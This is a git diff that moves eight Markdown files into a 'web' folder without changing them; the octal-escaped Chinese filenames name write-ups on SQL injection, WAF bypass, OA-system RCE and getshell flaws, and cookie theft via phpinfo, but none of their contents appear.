"a/\345\277\253\351\200\237\345\210\244\346\226\255sql\346\263\250\345\205\245\347\202\271\346\230\257\345\220\246\346\224\257\346\214\201load_file.md" "b/web/\345\277\253\351\200\237\345\210\244\346\226\255sql\346\263\250\345\205\245\347\202\271\346\230\257\345\220\246\346\224\257\346\214\201load_file.md" similarity index 100% rename from "\345\277\253\351\200\237\345\210\244\346\226\255sql\346\263\250\345\205\245\347\202\271\346\230\257\345\220\246\346\224\257\346\214\201load_file.md" rename to "web/\345\277\253\351\200\237\345\210\244\346\226\255sql\346\263\250\345\205\245\347\202\271\346\230\257\345\220\246\346\224\257\346\214\201load_file.md" diff --git "a/\346\236\204\345\273\272ASMX\347\273\225\350\277\207\351\231\220\345\210\266WAF\350\276\276\345\210\260\345\221\275\344\273\244\346\211\247\350\241\214.md" "b/web/\346\236\204\345\273\272ASMX\347\273\225\350\277\207\351\231\220\345\210\266WAF\350\276\276\345\210\260\345\221\275\344\273\244\346\211\247\350\241\214.md" similarity index 100% rename from "\346\236\204\345\273\272ASMX\347\273\225\350\277\207\351\231\220\345\210\266WAF\350\276\276\345\210\260\345\221\275\344\273\244\346\211\247\350\241\214.md" rename to "web/\346\236\204\345\273\272ASMX\347\273\225\350\277\207\351\231\220\345\210\266WAF\350\276\276\345\210\260\345\221\275\344\273\244\346\211\247\350\241\214.md" diff --git "a/\346\263\233\345\276\256 e-cology OA \345\211\215\345\217\260SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" "b/web/\346\263\233\345\276\256 e-cology OA \345\211\215\345\217\260SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" similarity index 100% rename from "\346\263\233\345\276\256 e-cology OA \345\211\215\345\217\260SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" rename to "web/\346\263\233\345\276\256 e-cology OA \345\211\215\345\217\260SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" diff --git "a/\346\263\233\345\276\256OA\347\256\241\347\220\206\347\263\273\347\273\237RCE\346\274\217\346\264\236\345\210\251\347\224\250\350\204\232\346\234\254.md" "b/web/\346\263\233\345\276\256OA\347\256\241\347\220\206\347\263\273\347\273\237RCE\346\274\217\346\264\236\345\210\251\347\224\250\350\204\232\346\234\254.md" similarity index 100% rename from "\346\263\233\345\276\256OA\347\256\241\347\220\206\347\263\273\347\273\237RCE\346\274\217\346\264\236\345\210\251\347\224\250\350\204\232\346\234\254.md" rename to "web/\346\263\233\345\276\256OA\347\256\241\347\220\206\347\263\273\347\273\237RCE\346\274\217\346\264\236\345\210\251\347\224\250\350\204\232\346\234\254.md" diff --git "a/\346\263\233\345\276\256e-mobile ognl\346\263\250\345\205\245.md" "b/web/\346\263\233\345\276\256e-mobile ognl\346\263\250\345\205\245.md" similarity index 100% rename from "\346\263\233\345\276\256e-mobile ognl\346\263\250\345\205\245.md" rename to "web/\346\263\233\345\276\256e-mobile ognl\346\263\250\345\205\245.md" diff --git "a/\350\207\264\350\277\234OA_A8_getshell_0day.md" "b/web/\350\207\264\350\277\234OA_A8_getshell_0day.md" similarity index 100% rename from "\350\207\264\350\277\234OA_A8_getshell_0day.md" rename to "web/\350\207\264\350\277\234OA_A8_getshell_0day.md" diff --git "a/\351\200\232\350\276\276OA\345\211\215\345\217\260\344\273\273\346\204\217\347\224\250\346\210\267\344\274\252\351\200\240\347\231\273\345\275\225\346\274\217\346\264\236\346\211\271\351\207\217\346\243\200\346\265\213.md" "b/web/\351\200\232\350\276\276OA\345\211\215\345\217\260\344\273\273\346\204\217\347\224\250\346\210\267\344\274\252\351\200\240\347\231\273\345\275\225\346\274\217\346\264\236\346\211\271\351\207\217\346\243\200\346\265\213.md" similarity index 100% rename from "\351\200\232\350\276\276OA\345\211\215\345\217\260\344\273\273\346\204\217\347\224\250\346\210\267\344\274\252\351\200\240\347\231\273\345\275\225\346\274\217\346\264\236\346\211\271\351\207\217\346\243\200\346\265\213.md" rename to "web/\351\200\232\350\276\276OA\345\211\215\345\217\260\344\273\273\346\204\217\347\224\250\346\210\267\344\274\252\351\200\240\347\231\273\345\275\225\346\274\217\346\264\236\346\211\271\351\207\217\346\243\200\346\265\213.md" diff --git "a/\351\200\232\350\277\207phpinfo\350\216\267\345\217\226cookie\347\252\201\347\240\264httponly.md" "b/web/\351\200\232\350\277\207phpinfo\350\216\267\345\217\226cookie\347\252\201\347\240\264httponly.md" similarity index 100% rename from "\351\200\232\350\277\207phpinfo\350\216\267\345\217\226cookie\347\252\201\347\240\264httponly.md" rename to "web/\351\200\232\350\277\207phpinfo\350\216\267\345\217\226cookie\347\252\201\347\240\264httponly.md"